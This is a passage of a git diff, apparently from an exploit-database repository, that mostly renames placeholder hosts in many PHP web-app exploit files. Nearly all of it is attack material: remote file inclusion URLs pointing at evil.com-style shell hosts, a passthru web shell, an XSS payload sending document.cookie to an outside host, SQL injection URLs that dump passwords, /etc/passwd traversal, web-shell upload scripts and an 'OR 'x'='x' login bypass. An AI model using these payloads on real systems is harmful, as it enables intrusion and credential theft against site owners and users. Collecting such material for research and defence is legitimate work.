-http://www.example.com/includes/content/releases_content.php?the_band=<script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/includes/content/releases_content.php?the_band=<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/28654.txt b/platforms/php/webapps/28654.txt index 126650884..d5dac78be 100755 --- a/platforms/php/webapps/28654.txt +++ b/platforms/php/webapps/28654.txt @@ -29,11 +29,11 @@ IV. PROOF OF CONCEPT ------------------------- Malicious Request -http://vulnerableserver/xampp/lang.php?WriteIntoLocalDisk +http://vulnerablesite.com/xampp/lang.php?WriteIntoLocalDisk And next, if we access to the file: -http://vulnerableserver/xampp/lang.tmp +http://vulnerablesite.com/xampp/lang.tmp We can verify that the file was modified. diff --git a/platforms/php/webapps/28771.pl b/platforms/php/webapps/28771.pl index 03861e179..e3b14b478 100755 --- a/platforms/php/webapps/28771.pl +++ b/platforms/php/webapps/28771.pl @@ -60,7 +60,7 @@ $mw->Label(-text => '')->pack(); $fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ; $fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ; -$url = 'http://www.server/[path]/lib/functions.inc.php?relativer_pfad='; +$url = 'http://www.site.com/[path]/lib/functions.inc.php?relativer_pfad='; $shell_path = 'http://shell.txt?'; $cmd = 'ls -la'; diff --git a/platforms/php/webapps/28796.pl b/platforms/php/webapps/28796.pl index 2cbb18c19..fdc945e5e 100755 --- a/platforms/php/webapps/28796.pl +++ b/platforms/php/webapps/28796.pl @@ -102,4 +102,4 @@ HTTP/1.1\r\n"; print "<Shell> "; $cmd = <STDIN>; -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/php/webapps/28800.txt b/platforms/php/webapps/28800.txt index 58d781975..8b6e57a90 100755 --- a/platforms/php/webapps/28800.txt +++ b/platforms/php/webapps/28800.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application an Version 0.5.4 is vulnerable to these issues; other versions may also be affected. -http://www.example.com/[PATHTOSCR&#304;PT]/rss2.php?page[path]=http://www.example.com/cmd.gif?&cmd=l10:32 \ No newline at end of file +http://www.example.com/[PATHTOSCR&#304;PT]/rss2.php?page[path]=http://www.example.com/cmd.gif?&cmd=l10:32 \ No newline at end of file diff --git a/platforms/php/webapps/28807.py b/platforms/php/webapps/28807.py index 458f49b0b..ee48f8b3c 100755 --- a/platforms/php/webapps/28807.py +++ b/platforms/php/webapps/28807.py @@ -2,7 +2,7 @@ # 2013/10/03 - WHMCS 5.2.7 SQL Injection # http://localhost.re/p/whmcs-527-vulnerability -url = 'http://clients.server/' # wopsie dopsie +url = 'http://clients.target.com/' # wopsie dopsie user_email = 'mysuper@hacker.account' # just create a dummie account at /register.php user_pwd = 'hacker' diff --git a/platforms/php/webapps/2883.txt b/platforms/php/webapps/2883.txt index 395ce48b8..6135a6439 100755 --- a/platforms/php/webapps/2883.txt +++ b/platforms/php/webapps/2883.txt @@ -41,28 +41,28 @@ /=========================================================================================================================\ ############################ .:Reading of Arbitrary Files:. ############################################################### # fm.php?action=download&filename=[RELATIVE PATH / FILENAME]&pathext=&u=&&copt=1&sortKey=2 # -# EG: http://www.server/file/fm.php?action=download&filename=../../../../../../etc/passwd&pathext=&u=&&copt=1&sortKey=2 # +# EG: http://www.site.com/file/fm.php?action=download&filename=../../../../../../etc/passwd&pathext=&u=&&copt=1&sortKey=2 # ########################################################################################################################### \=========================================================================================================================/ /=========================================================================================================================\ ############################ .:Deletion of Arbirary Files:. ############################################################### # fm.php?delete=[RELATIVE PATH / FILENAME]&copt=1&sortKey=2&u=&pathext= # -# EG: http://www.server/file/fm.php?delete=phpshell.php&copt=1&sortKey=2&u=&pathext= # +# EG: http://www.site.com/file/fm.php?delete=phpshell.php&copt=1&sortKey=2&u=&pathext= # ########################################################################################################################### \=========================================================================================================================/ /=========================================================================================================================\ ############################# .:Modification of Arbitrary Files:. ######################################################### # fm.php?edit=[RELATEIVE PATH / FILENAME]&u=&copt=1&pathext= # -# EG: http://www.server/file/fm.php?edit=../index.php&u=&copt=1&pathext= # +# EG: http://www.site.com/file/fm.php?edit=../index.php&u=&copt=1&pathext= # ########################################################################################################################### \=========================================================================================================================/ /=========================================================================================================================\ ############################# .:Creation of Arbitrary Files:. ############################################################# # START LOCAL HTML FILE: # - <form name="form1" method="post" action="http://www.server/file/fm.php"> + <form name="form1" method="post" action="http://www.site.com/file/fm.php"> <center>Filename: <input type="text" name="newfilename"> <select class=altButton name="newfileext"> <option>.txt</option><option>.html</option><option>.php</option> @@ -85,7 +85,7 @@ /=========================================================================================================================\ ############################## .: Uploading of Malicious Files:. ########################################################## # START LOCAL HTML FILE: # -<form name="form1" method="post" action="http://www.server/file/fm.php" enctype="multipart/form-data"> +<form name="form1" method="post" action="http://www.site.com/file/fm.php" enctype="multipart/form-data"> <input type="hidden" name="MAX_FILE_SIZE" value="104857600"> <input type="hidden" name="copt" value="1"> <input type="file" name="uploadedfile"> @@ -97,7 +97,7 @@ # END LOCAL HTML FILE # ########################################################################################################################### # Note... By default all .php files will be renamed to file.php.off, you can usually just browse to the file anyway and it# -# will execute... EG: http://www.server/file/phpshell.php.off # +# will execute... EG: http://www.site.com/file/phpshell.php.off # ########################################################################################################################### \=========================================================================================================================/ diff --git a/platforms/php/webapps/2884.txt b/platforms/php/webapps/2884.txt index f034e1970..19026a084 100755 --- a/platforms/php/webapps/2884.txt +++ b/platforms/php/webapps/2884.txt @@ -12,7 +12,7 @@ # # # perl delta.pl http://[target]/[path]/engine/exec/ -http://server/cmd.txt cmd +http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # diff --git a/platforms/php/webapps/28844.txt b/platforms/php/webapps/28844.txt index c8cb0b84b..deb0ffcd2 100755 --- a/platforms/php/webapps/28844.txt +++ b/platforms/php/webapps/28844.txt @@ -7,3 +7,4 @@ An attacker may leverage these issues to have arbitrary script code execute in t cPanel version 10.9.0 is vulnerable; other versions may also be affected. http://www.example.com:2082/scripts2/editzonetemplate?template=[XssCodes] + \ No newline at end of file diff --git a/platforms/php/webapps/2885.txt b/platforms/php/webapps/2885.txt index 5110fee7a..a8b221e0e 100755 --- a/platforms/php/webapps/2885.txt +++ b/platforms/php/webapps/2885.txt @@ -1,4 +1,4 @@ -+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + + mx_tinies 1.3.0 (common.php) File Include Vulnerability + + + diff --git a/platforms/php/webapps/28885.php b/platforms/php/webapps/28885.php index 3cd4698ae..26565517a 100755 --- a/platforms/php/webapps/28885.php +++ b/platforms/php/webapps/28885.php @@ -37,4 +37,4 @@ $data. */ if ($matches[0]) print "<b>Hash: </b>".$matches[0]; } -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/php/webapps/28893.pl b/platforms/php/webapps/28893.pl index 7e878b9e8..522395f9d 100755 --- a/platforms/php/webapps/28893.pl +++ b/platforms/php/webapps/28893.pl @@ -112,7 +112,7 @@ Version 2.2 is vulnerable to this issue; other versions may also be affected. perl Expl0it.pl <Target website <Shell Location <CMD Variable <-r <-p <Target Website - Path to target eg: www.SiteName.com - <Shell Location - Path to shell eg: www.Sh3llserver/sh3ll.txt + <Shell Location - Path to shell eg: www.Sh3llserver.com/sh3ll.txt <CMD Variable - Shell command variable name eg: cmd <r - Show output from shell <p - Patch visEdit_control.class.php diff --git a/platforms/php/webapps/2891.txt b/platforms/php/webapps/2891.txt index 9bbff231c..0ef5558b0 100755 --- a/platforms/php/webapps/2891.txt +++ b/platforms/php/webapps/2891.txt @@ -21,7 +21,7 @@ www.Deltasecurity.ir ++++++++++++++++++++++++++++++++++++++++++++ - Exploit: - http://[target]/[Path]/inc/shows.inc.php?cutepath=http://evilserver/shell? + http://[target]/[Path]/inc/shows.inc.php?cutepath=http://evilsite.com/shell? ---------------------------------------------------------------------------------------------------------- Sp Tnx For All Admin And All Member EXCEPT DR.TROJAN diff --git a/platforms/php/webapps/28927.txt b/platforms/php/webapps/28927.txt index 5c0dc74eb..119097689 100755 --- a/platforms/php/webapps/28927.txt +++ b/platforms/php/webapps/28927.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica AIOCP 1.3.007 and prior versions are vulnerable. http://www.example.com/public/code/cp_newsletter.php?nlmsg_nlcatid=[sql] -http://www.example.com/public/code/cp_newsletter.php?choosed_language=[sql] \ No newline at end of file +http://www.example.com/public/code/cp_newsletter.php?choosed_language=[sql] \ No newline at end of file diff --git a/platforms/php/webapps/28936.txt b/platforms/php/webapps/28936.txt index 29de656ad..838915625 100755 --- a/platforms/php/webapps/28936.txt +++ b/platforms/php/webapps/28936.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica AIOCP 1.3.007 and prior versions are vulnerable. -http://www.example.com/public/code/cp_show_ec_products.php?order_field[]= \ No newline at end of file +http://www.example.com/public/code/cp_show_ec_products.php?order_field[]= \ No newline at end of file diff --git a/platforms/php/webapps/2895.pl b/platforms/php/webapps/2895.pl index 3244a7c7f..a9595f23d 100755 --- a/platforms/php/webapps/2895.pl +++ b/platforms/php/webapps/2895.pl @@ -91,13 +91,13 @@ header(); print q{ Usage: perl exploit.pl <jowamp fullpath> <Shell Location> <Shell Cmd> -<phorum-3.4.8a FULL PATH> - Path to site exp. www.server +<phorum-3.4.8a FULL PATH> - Path to site exp. www.site.com <Shell Location> - Path to shell exp. www.evilhost.com/shell.txt <Shell Cmd Variable> - Command variable for php shell -Example: perl exploit.pl http://www.server/jowamp/ +Example: perl exploit.pl http://www.site.com/jowamp/ ********************************************************************************** }; diff --git a/platforms/php/webapps/2896.txt b/platforms/php/webapps/2896.txt index 53ca89e73..9bc07e0d6 100755 --- a/platforms/php/webapps/2896.txt +++ b/platforms/php/webapps/2896.txt @@ -86,10 +86,10 @@ sub usg() header(); print q{ Usage: perl exploit.pl [tucows fullpath] [Shell Location] [Shell Cmd] -[tucows FULL PATH] - Path to site exp. www.server +[tucows FULL PATH] - Path to site exp. www.site.com [shell Location] - Path to shell exp. www.evilhost.com/shell.txt [shell Cmd Variable] - Command variable for php shell -Example: perl exploit.pl http://www.server/[tucows]/ +Example: perl exploit.pl http://www.site.com/[tucows]/ ******************************************************************************** }; diff --git a/platforms/php/webapps/2897.txt b/platforms/php/webapps/2897.txt index b646af7b9..7dc7371bc 100755 --- a/platforms/php/webapps/2897.txt +++ b/platforms/php/webapps/2897.txt @@ -2,6 +2,6 @@ Vulnerable Software:cm68news Vulnerable file: /engine/oldnews.inc.php Credits: Paul Bakoyiannis Vulnerable Variable: addpath -Example Exploit: http://server/cm68news/engine/oldnews.inc.php?addpath=http://evil.com/script.txt?& +Example Exploit: http://site.com/cm68news/engine/oldnews.inc.php?addpath=http://evil.com/script.txt?& # milw0rm.com [2006-12-08] diff --git a/platforms/php/webapps/29021.txt b/platforms/php/webapps/29021.txt index ae12a94e1..d8774108a 100755 --- a/platforms/php/webapps/29021.txt +++ b/platforms/php/webapps/29021.txt @@ -1,4 +1,4 @@ -$$$$$$\ $$\ $$\ $$$$$$\ + $$$$$$\ $$\ $$\ $$$$$$\ $$ __$$\ $$ | $$ | $$ __$$\ $$ / \__| $$ | $$ | $$ / \__| $$ |$$$$\ $$$$$$$$ | \$$$$$$\ diff --git a/platforms/php/webapps/29023.txt b/platforms/php/webapps/29023.txt index cd25114d3..da948d67d 100755 --- a/platforms/php/webapps/29023.txt +++ b/platforms/php/webapps/29023.txt @@ -32,7 +32,7 @@ print " require 'net/http' block = "################################################################" print ""+ block +"" -print "\nEnter Target Name (server)->" +print "\nEnter Target Name (site.com)->" host=gets.chomp print ""+ block +"" print "\nEnter Script Path (/wbb/ or /)->" @@ -98,4 +98,4 @@ dir = "regenbogenwiese.php?kategorie=%27+union+select+1,1,1,1,1,1,concat(0x27,0 " rescue print "\nExploit Failed" -end \ No newline at end of file +end \ No newline at end of file diff --git a/platforms/php/webapps/2905.txt b/platforms/php/webapps/2905.txt index 2f58ebe5f..8791f4141 100755 --- a/platforms/php/webapps/2905.txt +++ b/platforms/php/webapps/2905.txt @@ -93,10 +93,10 @@ sub usg() header(); print q{ Usage: perl delta.pl [tucows fullpath] [Shell Location] [Shell Cmd] -[gizzar FULL PATH] - Path to site exp. www.server +[gizzar FULL PATH] - Path to site exp. www.site.com [shell Location] - Path to shell exp. d4wood.by.ru/cmd.gif [shell Cmd Variable] - Command variable for php shell -Example: perl delta.pl http://www.server/[gizzar]/ +Example: perl delta.pl http://www.site.com/[gizzar]/ ******************************************************************************** }; diff --git a/platforms/php/webapps/29059.txt b/platforms/php/webapps/29059.txt index 2f960e6e2..e7c7b6331 100755 --- a/platforms/php/webapps/29059.txt +++ b/platforms/php/webapps/29059.txt @@ -6,4 +6,4 @@ An attacker could exploit these vulnerabilities to view sensitive information or All versions of phpMyAdmin are vulnerable. -http://www.example.com/phpmyadmin/db_operations.php?db_collation=latin1_swedish_ci&db_copy=true&db=prout&token=your_token&newname=[xss] \ No newline at end of file +http://www.example.com/phpmyadmin/db_operations.php?db_collation=latin1_swedish_ci&db_copy=true&db=prout&token=your_token&newname=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/29068.txt b/platforms/php/webapps/29068.txt index 39de7eeab..f3a896384 100755 --- a/platforms/php/webapps/29068.txt +++ b/platforms/php/webapps/29068.txt @@ -21,7 +21,7 @@ <?php $uploadfile = "up.php"; -$ch = curl_init(“http://server/wordpress/wp-content/themes/area53/framework/_scripts/valums_uploader/php.php”); +$ch = curl_init(“http://site.com/wordpress/wp-content/themes/area53/framework/_scripts/valums_uploader/php.php”); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array(‘qqfile’=>”@$uploadfile”)); @@ -31,7 +31,7 @@ curl_close($ch); print “$postResult”; ?> -#Shell path: http://server/wordpress/wp-content/uploads/2013/10/up.php +#Shell path: http://site.com/wordpress/wp-content/uploads/2013/10/up.php #Credit: ./Byakuya ./Mr Ohsem ./Cai ./RatKid ./Agam ./Lord-Router ./X-Tuned ./Official Code-Newbie #Facebook: https://www.facebook.com/CodeNewbieCrew diff --git a/platforms/php/webapps/29099.txt b/platforms/php/webapps/29099.txt index 784d264cc..320e4cb0a 100755 --- a/platforms/php/webapps/29099.txt +++ b/platforms/php/webapps/29099.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to have arbitrary script code execute in t Version 1.4.0 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/admin/comments.php?month="><script>alert('Xmors')</script>< \ No newline at end of file +http://www.example.com/[path]/admin/comments.php?month="><script>alert('Xmors')</script>< \ No newline at end of file diff --git a/platforms/php/webapps/29150.txt b/platforms/php/webapps/29150.txt index 2a3d4fe11..cee69e126 100755 --- a/platforms/php/webapps/29150.txt +++ b/platforms/php/webapps/29150.txt @@ -21,7 +21,7 @@ <?php $uploadfile = "up.php"; -$ch = curl_init("http://server/wordpress/wp-content/themes/saico/framework/_scripts/valums_uploader/php.php"); +$ch = curl_init("http://site.com/wordpress/wp-content/themes/saico/framework/_scripts/valums_uploader/php.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('qqfile'=>"$uploadfile")); @@ -31,7 +31,7 @@ curl_close($ch); print "$postResult"; ?> -#Shell path: http://server/wordpress/wp-content/uploads/2013/10/up.php +#Shell path: http://site.com/wordpress/wp-content/uploads/2013/10/up.php #Credit: ./Byakuya ./Mr Ohsem ./Cai ./RatKid ./Agam ./Lord-Router ./X-Tuned ./Official Code-Newbie #Facebook: https://www.facebook.com/CodeNewbieCrew diff --git a/platforms/php/webapps/2919.pl b/platforms/php/webapps/2919.pl index cbc926978..47a5edb58 100755 --- a/platforms/php/webapps/2919.pl +++ b/platforms/php/webapps/2919.pl @@ -17,7 +17,7 @@ Problem area: PoC: - http://server/mxBB/modules/mx_act/include/constants/act_constants.php?mx_root_path=http://[yourshell]?& + http://site.com/mxBB/modules/mx_act/include/constants/act_constants.php?mx_root_path=http://[yourshell]?& # exploit was broken and removed. /str0ke diff --git a/platforms/php/webapps/2920.txt b/platforms/php/webapps/2920.txt index 57e91114c..7807df8d7 100755 --- a/platforms/php/webapps/2920.txt +++ b/platforms/php/webapps/2920.txt @@ -25,7 +25,7 @@ - Exploit: -http://localhost/[PATH]/interface.php?basepath=http://evilserver/shell? +http://localhost/[PATH]/interface.php?basepath=http://evilsite.com/shell? -------------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/29203.php b/platforms/php/webapps/29203.php index c008bf841..787155005 100755 --- a/platforms/php/webapps/29203.php +++ b/platforms/php/webapps/29203.php @@ -7,7 +7,7 @@ An attacker may leverage this issue to have arbitrary script code execute in the Woltlab Burning Board 2.3.6 and prior versions are vulnerable to this issue. <? -$url = 'http://www.yourserver/wbb2/'; +$url = 'http://www.yoursite.com/wbb2/'; $length = 5; $key_chars = '123456789'; $rand_max = strlen($key_chars) - 1; diff --git a/platforms/php/webapps/29211.txt b/platforms/php/webapps/29211.txt index 93f44a75a..d0466dc19 100755 --- a/platforms/php/webapps/29211.txt +++ b/platforms/php/webapps/29211.txt @@ -28,9 +28,9 @@ Please choose a file: <input name="uploadfile" type="file" /><br /> </form> #File path: -http://server/wordpress/wp-content/uploads/[FILE] +http://site.com/wordpress/wp-content/uploads/[FILE] or -http://server/wordpress/wp-content/uploads/[year]/[month]/[FILE] +http://site.com/wordpress/wp-content/uploads/[year]/[month]/[FILE] #Credit: ./Byakuya ./Mr Ohsem ./Cai ./RatKid ./Agam ./Lord-Router ./X-Tuned ./Official Code-Newbie #Facebook: https://www.facebook.com/CodeNewbieCrew diff --git a/platforms/php/webapps/2923.txt b/platforms/php/webapps/2923.txt index d18dca54a..b21309ad4 100755 --- a/platforms/php/webapps/2923.txt +++ b/platforms/php/webapps/2923.txt @@ -8,6 +8,6 @@ Email Address : security@soqor.net global $DIR_ADMIN; include ( substr($DIR_ADMIN,0,strpos($DIR_ADMIN,'admin'))."photo".DIRECTORY_SEPARATOR."includes".DIRECTORY_SEPARATOR."user.class.php"); -http://server/Blog_CMS/admin/plugins/NP_UserSharing.php?DIR_ADMIN=http://www.soqor.net/tools/cmd.txt?admin +http://site.com/Blog_CMS/admin/plugins/NP_UserSharing.php?DIR_ADMIN=http://www.soqor.net/tools/cmd.txt?admin # milw0rm.com [2006-12-12] diff --git a/platforms/php/webapps/2925.pl b/platforms/php/webapps/2925.pl index 1ef0e82d9..704bc02fc 100755 --- a/platforms/php/webapps/2925.pl +++ b/platforms/php/webapps/2925.pl @@ -85,10 +85,10 @@ sub usg() header(); print q{ Usage: exploit.pl <fullpath> <Shell Location> <Shell Cmd> -<FULL PATH> - Path to site exp. www.server +<FULL PATH> - Path to site exp. www.site.com <shell Location> - Path to shell exp. www.evilhost.com/shell.txt <shell Cmd Variable> - Command variable for php shell exp. id -Example: exploit.pl http://www.server/[path]/ +Example: exploit.pl http://www.site.com/[path]/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- }; diff --git a/platforms/php/webapps/29258.txt b/platforms/php/webapps/29258.txt index dc8330c12..b845602c7 100755 --- a/platforms/php/webapps/29258.txt +++ b/platforms/php/webapps/29258.txt @@ -7,7 +7,7 @@ Exploit :- -http://www.server/[phprssreader]/null'%20/*!uNION*/%20/*!select*/%201,2,3,/*!concat(username,password)*/,5,6,7,8,9,10,11%20from%20rss_users--+<http://www.kt.com.kw/read2/null'%20/*!uNION*/%20/*!select*/%201,2,3,/*!concat(username,password)*/,5,6,7,8,9,10,11%20from%20rss_users--+> +http://www.site.com/[phprssreader]/null'%20/*!uNION*/%20/*!select*/%201,2,3,/*!concat(username,password)*/,5,6,7,8,9,10,11%20from%20rss_users--+<http://www.kt.com.kw/read2/null'%20/*!uNION*/%20/*!select*/%201,2,3,/*!concat(username,password)*/,5,6,7,8,9,10,11%20from%20rss_users--+> By : rDNix diff --git a/platforms/php/webapps/29278.pl b/platforms/php/webapps/29278.pl index 4f39915ec..d1a436004 100755 --- a/platforms/php/webapps/29278.pl +++ b/platforms/php/webapps/29278.pl @@ -123,7 +123,7 @@ header(); perl Xmors.pl <Target website> <Shell Location> <CMD Variable> <-r> <-p> <Target Website> - Path to target eg: www.SiteName.com -<Shell Location> - Path to shell eg: www.Sh3llserver/sh3ll.txt +<Shell Location> - Path to shell eg: www.Sh3llserver.com/sh3ll.txt <CMD Variable> - Shell command variable name eg: cmd <r> - Show output from shell <p> - Patch forum.php diff --git a/platforms/php/webapps/2930.pl b/platforms/php/webapps/2930.pl index a30d8045a..297dc2092 100755 --- a/platforms/php/webapps/2930.pl +++ b/platforms/php/webapps/2930.pl @@ -96,10 +96,10 @@ sub usg() header(); print q{ Usage: perl delta.pl [tucows fullpath] [Shell Location] [Shell Cmd] -[yaplap FULL PATH] - Path to site exp. www.server +[yaplap FULL PATH] - Path to site exp. www.site.com [shell Location] - Path to shell exp. d4wood.by.ru/cmd.gif [shell Cmd Variable] - Command variable for php shell -Example: perl delta.pl http://www.server/[yaplap]/ +Example: perl delta.pl http://www.site.com/[yaplap]/ ******************************************************************************** }; diff --git a/platforms/php/webapps/2931.txt b/platforms/php/webapps/2931.txt index 7e5895b2e..d3d457798 100755 --- a/platforms/php/webapps/2931.txt +++ b/platforms/php/webapps/2931.txt @@ -22,7 +22,7 @@ Here is the vulnerable code: usercp_menu.php include ( "$script_folder/login_form2.php" ); -www.someanimeserver/member/usercp_menu.php?script_folder=http://evilserver +www.someanimesite.com/member/usercp_menu.php?script_folder=http://evilsite.com Dont take too much advantage of it :). diff --git a/platforms/php/webapps/2943.txt b/platforms/php/webapps/2943.txt index da6a4b0aa..2c63ac731 100755 --- a/platforms/php/webapps/2943.txt +++ b/platforms/php/webapps/2943.txt @@ -17,7 +17,7 @@ + -> 14-15: if (isset($_GET[_VIEW])) include($_GET[_VIEW]); + + Proof Of Concept: -+ http://[target]/[path]/admin/index_sitios.php?_VIEW=http://evilserver/shell.php ++ http://[target]/[path]/admin/index_sitios.php?_VIEW=http://evilsite.com/shell.php +------------------------------------------------------------------------------------------- # milw0rm.com [2006-12-18] diff --git a/platforms/php/webapps/2944.txt b/platforms/php/webapps/2944.txt index ae353208b..2b9217ba0 100755 --- a/platforms/php/webapps/2944.txt +++ b/platforms/php/webapps/2944.txt @@ -93,7 +93,7 @@ Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: -php '.$argv[0].' localhost http://www.evilserver/shell.txt Hauru zamek ls -la -P1.1.1.1:80 +php '.$argv[0].' localhost http://www.evilsite.com/shell.txt Hauru zamek ls -la -P1.1.1.1:80 shell.txt: <?php ob_clean();echo"Hacker_Kacper_Made_in_Poland!!..Hauru..^_^..the..best..polish..team..Greetz";ini_set("max_execution_time",0);echo "hauru";passthru($_GET["cmd"]);die;?> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- '); diff --git a/platforms/php/webapps/29442.html b/platforms/php/webapps/29442.html index 23a2e1dd3..9cfb176be 100755 --- a/platforms/php/webapps/29442.html +++ b/platforms/php/webapps/29442.html @@ -10,7 +10,7 @@ Create a Shockwave Flash file with this code: var username:String = "user_that_doesnt_exist"; var subject:String = "Xss Exploitation"; -var message:String = "&lt;/textarea&gt;<script>document.location= 'http://server/cookie.php?c=' + document.cookie </script>"; +var message:String = "&lt;/textarea&gt;<script>document.location= 'http://site.com/cookie.php?c=' + document.cookie </script>"; var folder:String = "inbox"; var mode:String = "post"; var post:String = "Submit"; diff --git a/platforms/php/webapps/29450.txt b/platforms/php/webapps/29450.txt index ba9f8e5d8..b71ac1073 100755 --- a/platforms/php/webapps/29450.txt +++ b/platforms/php/webapps/29450.txt @@ -26,4 +26,4 @@ An attacker can exploit this issue via a web client. The following proof-of-concept URIs are available: http://www.example.com/ezboxx/boxx/knowledgebase.asp?iid=549&Cat=notnumber -http://www.example.com/ezboxx/boxx/knowledgebase.asp?iid=1&Cat=notnumber \ No newline at end of file +http://www.example.com/ezboxx/boxx/knowledgebase.asp?iid=1&Cat=notnumber \ No newline at end of file diff --git a/platforms/php/webapps/29451.txt b/platforms/php/webapps/29451.txt index 63a56fc03..2d6c1f219 100755 --- a/platforms/php/webapps/29451.txt +++ b/platforms/php/webapps/29451.txt @@ -12,3 +12,4 @@ http://www.example.org/AIOCP/public/code/cp_downloads.php?did='+UNION+SELECT+NUL + \ No newline at end of file diff --git a/platforms/php/webapps/29464.txt b/platforms/php/webapps/29464.txt index f83087009..28503e7f9 100755 --- a/platforms/php/webapps/29464.txt +++ b/platforms/php/webapps/29464.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to gain unauthorized access to the administra Version 2.1 is vulnerable to this issue; other versions may also be affected. -http://www.example.com/liens_dynamiques/admin/adminlien.php3 \ No newline at end of file +http://www.example.com/liens_dynamiques/admin/adminlien.php3 \ No newline at end of file diff --git a/platforms/php/webapps/29466.txt b/platforms/php/webapps/29466.txt index d202e447c..f24de9b46 100755 --- a/platforms/php/webapps/29466.txt +++ b/platforms/php/webapps/29466.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to steal cookie-based authentication creden These issues affect version 2.1; other versions may also be affected. -http://www.example.com/liens.php3?ajouter=1 \ No newline at end of file +http://www.example.com/liens.php3?ajouter=1 \ No newline at end of file diff --git a/platforms/php/webapps/29469.txt b/platforms/php/webapps/29469.txt index 2d8cb4468..86c8f61fe 100755 --- a/platforms/php/webapps/29469.txt +++ b/platforms/php/webapps/29469.txt @@ -6,4 +6,4 @@ An attacker can exploit these vulnerabilities using directory-traversal strings These issues affect version 1.0.3.06; other versions may also be vulnerable. -http://www.example.com/smileys.php?language=../../example_file.xxx%00? \ No newline at end of file +http://www.example.com/smileys.php?language=../../example_file.xxx%00? \ No newline at end of file diff --git a/platforms/php/webapps/29472.txt b/platforms/php/webapps/29472.txt index 230455e9a..7760cd60f 100755 --- a/platforms/php/webapps/29472.txt +++ b/platforms/php/webapps/29472.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code execute in the Version 1.0f is vulnerable; other versions may also be affected. -http://www.example.com/[dt_guestbook_v1-directory]/index.php?submit=1&error[]=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/[dt_guestbook_v1-directory]/index.php?submit=1&error[]=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/29474.txt b/platforms/php/webapps/29474.txt index bdf2685b0..54a173888 100755 --- a/platforms/php/webapps/29474.txt +++ b/platforms/php/webapps/29474.txt @@ -9,4 +9,4 @@ This issue affects version 1.21; other versions may also be vulnerable. The following input to the login form is sufficient to exploit this issue: Login: admin -Password: anything' OR 'x'='x \ No newline at end of file +Password: anything' OR 'x'='x \ No newline at end of file diff --git a/platforms/php/webapps/29489.txt b/platforms/php/webapps/29489.txt index 5428d015f..ad3e59aca 100755 --- a/platforms/php/webapps/29489.txt +++ b/platforms/php/webapps/29489.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to have arbitrary script code execute in t Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. -http://www.example.com/INDEXU_PATH/login.php?error_msg=[XSS] \ No newline at end of file +http://www.example.com/INDEXU_PATH/login.php?error_msg=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/29492.txt b/platforms/php/webapps/29492.txt index 6e06c6203..06c0f25eb 100755 --- a/platforms/php/webapps/29492.txt +++ b/platforms/php/webapps/29492.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to have arbitrary script code execute in t These issues affect version 2.1.5; other versions may also be affected. -http://www.example.com/login.php/>">[xss] \ No newline at end of file +http://www.example.com/login.php/>">[xss] \ No newline at end of file diff --git a/platforms/php/webapps/29495.txt b/platforms/php/webapps/29495.txt index 21faf7f73..8cf5c5152 100755 --- a/platforms/php/webapps/29495.txt +++ b/platforms/php/webapps/29495.txt @@ -4,4 +4,4 @@ The 'sabros.us' application is prone to a cross-site scripting vulnerability bec An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/index.php?tag=</title><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/index.php?tag=</title><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/29497.txt b/platforms/php/webapps/29497.txt index 67b325fbc..c30305650 100755 --- a/platforms/php/webapps/29497.txt +++ b/platforms/php/webapps/29497.txt @@ -8,4 +8,4 @@ An example URI has been provided: http://www.example.com/psm/admin/memberlist.php?keyword=[SQl]&p=a&by=1&sbmt1=++Search++&init_row=0&sort=create_time&sq=desc&status=1 -http://www.example.com/psm/admin/edit_member.php?username=Admin=[XSS] \ No newline at end of file +http://www.example.com/psm/admin/edit_member.php?username=Admin=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/29498.txt b/platforms/php/webapps/29498.txt index 6b243b3e6..c0aef165a 100755 --- a/platforms/php/webapps/29498.txt +++ b/platforms/php/webapps/29498.txt @@ -18,4 +18,4 @@ An attacker can exploit this issue via a web client. An example URI has been provided: -http://www.example.com/path/admin/memberlist.php?init_row=[SQL] \ No newline at end of file +http://www.example.com/path/admin/memberlist.php?init_row=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/29499.txt b/platforms/php/webapps/29499.txt index ca7d2534f..03240e066 100755 --- a/platforms/php/webapps/29499.txt +++ b/platforms/php/webapps/29499.txt @@ -6,4 +6,4 @@ Attacker-supplied 